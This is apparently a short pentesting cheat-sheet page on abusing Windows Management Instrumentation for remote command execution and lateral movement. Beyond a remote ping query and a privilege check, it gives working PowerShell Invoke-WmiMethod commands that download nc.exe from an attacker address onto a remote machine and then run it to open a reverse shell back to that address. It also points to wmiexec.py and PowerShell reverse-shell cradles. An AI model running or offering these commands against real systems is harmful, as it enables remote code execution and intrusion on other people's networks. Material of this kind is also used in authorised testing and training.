WMI
Windows Management Instrumentation
Perform ICMP checks remotely using Win32_PingStatus and wmiquery.py:
$ cat ping.wmi
SELECT StatusCode, ResponseTime FROM Win32_PingStatus WHERE Address='1.1'
$ wmiquery.py -k -no-pass SRV01.megacorp.local -file ping.wmi | grep '^ |' -A1PowerShell
Basic command to check if we have privileges to execute WMI:
PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace" | Select NameExecute commands:
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -ArgumentList ("powershell (New-Object Net.WebClient).DownloadFile('http://10.10.13.37/nc.exe', 'C:\Users\bob\music\nc.exe')")
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -ArgumentList ("C:\Users\bob\music\nc.exe 10.10.13.37 1337 -e powershell")WMI Enumeration
MSFT_MTProcess
Tools
wmiexec.py
Get a PowerShell reverse-shell:
When loading the cradle from a semi-interactive shell, you can combine with Invoke-WmiMethod to spawn a new PowerShell process:
SharpWMI
Last updated